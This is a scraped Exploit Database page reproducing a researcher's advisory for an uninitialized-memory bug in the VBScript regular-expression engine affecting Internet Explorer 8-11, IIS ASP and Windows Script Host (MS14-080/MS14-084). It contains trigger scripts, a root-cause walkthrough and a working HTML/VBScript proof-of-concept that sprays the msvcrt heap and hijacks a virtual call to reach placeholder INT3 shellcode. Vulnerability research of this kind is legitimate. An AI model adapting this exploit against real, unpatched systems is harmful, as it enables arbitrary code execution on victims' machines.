Microsoft Internet Explorer 8/9/10/11 / IIS / CScript.exe/WScript.exe VBScript – CRegExp..Execute Use of Uninitialized Memory (MS14-080/MS14-084)

Exploit Database
125 阅读

作者： Skylined

日期： 2016-11-07
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/40721/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

<!--

Source: http://blog.skylined.nl/20161107001.html

Synopsis

A specially crafted script can cause the VBScript engine to access data before initializing it. An attacker that is able to run such a script in any application that embeds the VBScript engine may be able to control execution flow and execute arbitrary code. This includes all versions of Microsoft Internet Explorer.

Known affected versions, attack vectors and mitigations

vbscript.dll

The issue affects versions 5.6 through 5.8 and both the 32- and 64-bit vbscript.dll binaries.

Windows Script Host

VBScript can be executed in the command line using cscript.exe/wscript.exe. An attacker would need to find a script running on a target machine that accepts an attacker supplied regular expression and a string, or be able to execute his/her own script. However, since the later should already provide an attacker with arbitrary code execution, no additional privileges are gained by exploiting this vuln.

Microsoft Internet Explorer

VBScript can be executed from a web-page; MSIE 8, 9, 10 and 11 were tested and are all affected. MSIE 11 requires a META tag to force it to render the page as an earlier version, as MSIE 11 attempts to deprecate vbscript (but fails, so why bother?). An attacker would need to get a target user to open a specially crafted web-page. Disabling scripting, particularly VBScript, should prevent an attacker from triggering the vulnerable code path. Enabling Enhanced Protected Mode appears to disable VBScript on my systems, but I have been unable to find documentation on-line that confirms this is by design.

Internet Information Server (IIS)

If Active Server Pages (ASP) are enabled, VBScript can be executed in Active Server Pages. An attacker would need to find an asp page that accepts an attacker supplied regular expression and a string, or be able to inject VBScript into an ASP page in order to trigger the vulnerability.

Repro

Below are three repro files that trigger the issue in Windows Script Host (repro.vbs), Microsoft Internet Explorer (repro.html), and Internet Information Server (repro.asp).

Repro.vbs:

Set oRegExp = New RegExp

oRegExp.Pattern = "A|()*?$"

oRegExp.Global = True

oRegExp.Execute(String(&H11, "A") & "x")

Repro.html:

<html>

<head>

Set oRegExp = New RegExp

oRegExp.Pattern = "A|()*?$"

oRegExp.Global = True

oRegExp.Execute(String(&H11, "A") & "x")

</script>

</head>

</html>

Repro.asp:

Set oRegExp = New RegExp

oRegExp.Pattern = "A|()*?$"

oRegExp.Global = True

oRegExp.Execute(String(&H11, "A") & "x")

Description

During normal operation, when you execute the RegExp.Execute method from VBScript the code in vbscript.dll executes the CRegExp::Execute function. This function creates a CMatch object for each match found, and stores pointers for all of these CMatch objects in a singly linked list of CMatchBlock structures (Note: the vbscript.dll symbols do not provide a name for this structure, so I gave it this name). Each CMatchBlock structure can store up to 16 such pointers, as well as a pointer to the next CMatchBlock. This last pointer is NULL unless all pointers in the CMatchBlock object are in use and more storage is needed, in which case a new CMatchBlock object is created and a link to the new object is added to the last one in the list. The code counts how many matches it has found so far, and this corresponds to the number of CMatch objects it has allocated.

The following pseudo-code represents these two structures:

CMatchBlock {

00 04 CMatchBlock* poNextCMatchBlock

04 40 CMatch* apoCMatches[16]

} // size = 0x44 (x86) or 0x88 (x64)

CMatch {

00 0C void** apapVFTables[3]

0C 04 DWORD dwUnknown_0C

10 04 DWORD poUnknownObject_10

14 04 DWORD poUnknownObject_14

18 04 DWORD poUnknownObject_18

1C 04 DWORD poUnknownObject_1C

20 04 DWORD dwUnknown_20

24 04 BSTR sValue

28 04 INT[]* paiMatchStartAndEndIndices

2C 04 INT iCountMatchAndSubMatches

} // size = 0x30 (x86) or unknown (x64)

When an error occurs in this part of the code, the error handling code will try to clean up and free all CMatchBlock structures created before the error occurred. To do this, it walks the linked list of CMatchBlock structures and for each structure, release each CMatch object in the structure. All CMatchBlock structures except the last one should have 16 such pointers, the last CMatchBlock structure can have 1-16, depending on how many matches where found in total. This appears to have been designed to count how many CMatch objects it has yet to free. This counter is initialized to the number of matches found before the error occurred and should be decremented whenever the code frees a CMatch object, so the code can determine how many CMatch object are in the last CMatchBlock structure. However, this code neglects to decrement this counter. This causes the code to assume all CMatchBlock structures have 16 CMatch object pointers if there were more than 16 matches in total, and attempt to release 16 CMatch objects from the last CMatchBlock structure, even if less than 16 pointers to CMatch objects were stored there.

The below pseudo-code represents how the real code works:

poCMatchBlock = poFirstCMatchBlock;

do {

if (iTotalMatchesCount < 0x10) { // Note 1

iMatchesInCMatchBlock = iTotalMatchesCount;

} else {

iMatchesInCMatchBlock = 0x10; // Note 2

}

for (iIndex = 0; iIndex < iMatchesInCMatchBlock; iIndex++) {

poCMatchBlock->apoCMatches[iIndex].Release(); // Note 3

}

poOldCMatchBlock = poCMatchBlock;

poCMatchBlock = poCMatchBlock->poNextCMatchBlock;

delete poOldCMatchBlock;

// Note 4

} while (poCMatchBlock);

For example: if the code finds 17 matches before an error is triggered, 2 CMatchBlock structures will have been created: the first will contain 16 pointers to CMatch objects and the second will contain exactly 1. The error handling code will run with iTotalMatchesCount set to 17 but never decrements it (Note 4 shows where that decrement should happen). The loop is executed twice, once for each CMatchBlock structure. On each do...while-loop iTotalMatchesCount will be larger than 17 (Note 1) and thus iMatchesInCMatchBlock will be set to 16 (Note 2). This causes the for-loop to try to free 16 CMatch objects from the second CMatchBlock structure, in which only one was stored. This results in the code using uninitialized memory as a pointer to an object on which it attempts to call the Release method.

To fix this, the following code would have to be inserted at Note 4:

iTotalMatchesCount -= iMatchesInCMatchBlock

Exploitation

An attacker looking to exploit this bug will commonly attempt to allocate memory blocks of the same size and on the same heap as the CMatchBlock structure and fill these blocks with certain data before releasing them. If done correctly, the heap manager will then reuse these memory blocks when the CMatchBlock objects are allocated, causing these structures to contain the attacker supplied data. Once the vulnerability is triggered, this attacker supplied data is then used as pointers to CMatch objects, and when the code attempts to call the Release method of these objects, they are treated as pointers to a list of virtual function tables, from which the code retreives an address to call to execute that method. Control over these pointers therefore gives an attacker control over execution flow.

Heap Feng-Shui, a common technique used to manipulate the heap in MSIE, can not be used in this case, as it uses strings to manipulate the heap. Strings in both JavaScript and VBScript are allocated through OLEAUT32, whereas the CMatchBlock structures are allocated through msvcrt, which uses a different heap. The Trident rendering engine also uses a different heap to allocate various potentially useful memory blocks.

To find out if there was a way to allocate and free memory in order to manipulate the heap an control what the uninitialized memory contains, I logged all allocations made while executing the CRegExp::Execute method. This showed that it allocates a block of memory through msvcrt to store the indices of the start and end of a match and each of its sub-matches. The size of this block depends on the number of sub-matches in the regular expression and the contents of the block depends on where the matches are found in the string. Both are attacker controlled, allowing for the creation of memory blocks of near arbitrary size and content.

To exploit the bug, one can execute a regular expression that generates the desired sub-matches and free them in order to manipulate the heap before executing another regular expression that triggers the issue. This should cause the code to use attacker supplied values for the uninitialized CMatch object pointers. The Proof-of-Concept exploit below attempts to do this and execute memory under an attacker's control. As this is a simple PoC sploit, nothing is done in order to attempt to bypass mitigations such as [DEP] and the "shellcode" is simply a bunch of INT3-s.

Time-line

March 2014: This vulnerability was found through fuzzing.

March/April 2014: This vulnerability was submitted to ZDI and iDefense.

May 2014: The vulnerability was acquired by iDefense.

June 2014: The vulnerability was reported to Microsoft by iDefense.

December 2014: The vulnerability was address by Microsoft in MS14-080 and MS14-084.

November 2016: Details of this issue are released.

-->

<html>

<head>

function createRepeatedString(uSize, sString) {

var sRepeatedString = "";

var uLeftMostBit = 1 << (Math.ceil(Math.log(uSize+1) / Math.log(2)) - 1);

for (var uBit = uLeftMostBit; uBit > 0; uBit = uBit >>> 1) {

sRepeatedString += sRepeatedString;

if (uSize & uBit) sRepeatedString += sString;

}

return sRepeatedString;

}

function createDWordString(uValue) {

return String.fromCharCode(uValue & 0xFFFF, uValue >>> 16);

}

function createChunkWithDWords(uChunkSize, uValue) {

return createRepeatedString(uChunkSize / 4, createDWordString(uValue));

}

function setChunkDWord(sChunk, uOffset, uValue) {

if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");

var uIndex = (uOffset % (sChunk.length * 2)) / 2;

return sChunk.substr(0, uIndex) + createDWordString(uValue) + sChunk.substr(uIndex + 2);

}

window.onload = function() {

// CRegExp::Execute can be made to use an uninitialized pointer to a CMatch object to call a virtual method of

// that object. In order to exploit this vulnerability, the exploit will try to prepare the heap such that the

// uninitialized pointer will contain a value under the exploit's control, allowing the exploit to control

// what gets execution.

// The uninitialized pointer is taken from a memory block containing 0x11 pointers (0x44 bytes on x86).

var uBlockSize = 0x44;

// This block is allocated on a heap used by msvcrt, so the exploit will allocate blocks of memory of the same

// size on the same heap, fill them with certain values and free them in order to prepare the heap. Commonly used

// ways of spraying the heap allocate memory blocks on another heap and are therefore not useful in this context.

// When a regular expression is executed and matches are found, a block of memory is allocated through msvcrt

// for each match. Each block will be used to store the start and end offset of the match in two DWords, as well

// as the start and end offset of each sub-match, also in two DWords (this is true for x86 and x64). Therefore,

// changing the number of sub-matches allows control over the size of the block, and changing the offset of the

// matches allows control over the values stored in the block. In short, the size of the block will be 8 bytes

// plus 8 bytes for each "()" in the expression. Since all blocks are rounded up to a multiple of 8 bytes, this

// can be used to allocate and fill blocks of the same size as the block that will contain the uninitialized

// pointer later.

// Successive matches will be at successive offsets, so the values stored in each allocated block will be

// increment by the length of the match. If the size of each match is 4 bytes, the value will increase by 4 in

// each successive block. For addresses pointing to a heap spray, this is acceptible.

var sMatchMarker = "PWND"; // This will be where the expression matches

var uRequiredSubMatches = Math.floor((uBlockSize + 7) / 8) - 1;

var sPattern = createRepeatedString(uRequiredSubMatches, "()") + sMatchMarker;

// The pattern will match at the marker, so a string with the same number of markers as the desired number of

// match objects will created that many match objects on the heap.

var uMatchCount = 0x8001; // More is better :)

var sMatchesBuffer = createRepeatedString(uMatchCount, sMatchMarker);

// The memory blocks that the exploit will create will be filled with offsets of matches. To put the value X in a

// block, a match must be made after X characters. The exploit will need to fill the block with pointers to memory

// under its control, so the values it uses will be in the usual range for a heap spray. The values cannot be too

// large, as the string needed to create them would become so large that OOMs are likely to kill the exploit.

var uTargetAddress = 0x0a0a0000; // String needed to create this value will be twice as large!

var uVFTableOffset = 0x8000;

var uShellcodeOffset = 0x9000;

// Now spray the heap is to allocate memory at the target address.

var uChunkSize = 0x10000;

// Create a chunk with pointers to a fake vftable, a fake vftable and shellcode.

var sChunk = createChunkWithDWords(uChunkSize, uTargetAddress + uVFTableOffset);

// The fake vftable in the chunk should have a pointer for ::Release that points to our shellcode (no ROP

// or anything fancy: this is a PoC).

sChunk = setChunkDWord(sChunk, uTargetAddress + uVFTableOffset + 8, uTargetAddress + uShellcodeOffset);

// The shellcode is just a bunch of INT3s (again; this is a PoC sploit).

sChunk = setChunkDWord(sChunk, uTargetAddress + uShellcodeOffset, 0xCCCCCCCC);

var uChunkCount = uTargetAddress / uChunkSize * 2;

var uHeapHeaderSize = 0x10;

var uHeapFooterSize = 0x04;

var sBuffer = (

sChunk.substr(uHeapHeaderSize / 2) +// Align chunk content with page boundary

createRepeatedString(uChunkCount - 2, sChunk) +

sChunk.substr(0, uHeapHeaderSize / 2) + // Allign matches with target address

sMatchesBuffer

);

// The regular expression is executed on the buffer to create "uBlockCount" blocks of "uBlockSize" bytes filled

// with dwords containing "uTargetAddress+N*4", where N is the number of the individual matches.

// We'll do this a number of times

sprayMSVCRTHeapAndTriggerVuln(sPattern, sBuffer);

}

</script>

Set oRegExp = New RegExp

oRegExp.Global = True

Sub sprayMSVCRTHeapAndTriggerVuln(sPattern, sBuffer)

' Spray MSVCRT heap

oRegExp.Pattern = sPattern

oRegExp.Execute(sBuffer)

' 17 matches are needed before an error (caused by an OOM) to trigger the vulnerable cleanup path.

oRegExp.Pattern = "A|()*?$"

oRegExp.Execute(String(17, "A") & "x")

End Sub

</script>

</head>

</html>